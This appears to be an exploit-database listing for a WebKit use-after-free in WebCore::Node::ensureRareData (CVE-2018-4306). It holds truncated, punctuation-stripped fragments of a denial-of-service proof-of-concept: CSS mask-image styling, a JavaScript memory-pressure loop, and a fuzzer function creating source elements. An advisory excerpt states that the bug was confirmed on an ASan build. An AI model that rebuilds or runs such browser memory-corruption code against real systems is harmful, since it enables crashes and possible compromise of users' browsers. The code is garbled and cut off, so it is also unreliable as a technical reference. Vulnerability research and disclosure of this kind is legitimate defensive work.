WebKit - WebCore::Node::ensureRareData Use-After-Free Exploit

Exploit for multiple platform in category dos / poc .class1 -webkit-mask-box-image-source: urlfoo; function freememory var a; forvar i=0;i100;i++ a = new Uint8Array10241024; document.implementation.createHTMLDocument"doc"; function jsfuzzer try var00097 = document.createElement"source"; catche tr...

WebKit WebCore::Node::ensureRareData Use-After-Free

WebKit: Use-after-free in WebCore::Node::ensureRareData CVE-2018-4306 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of WebKit revision 233006 on OSX. PoC: ================================================================= .class1...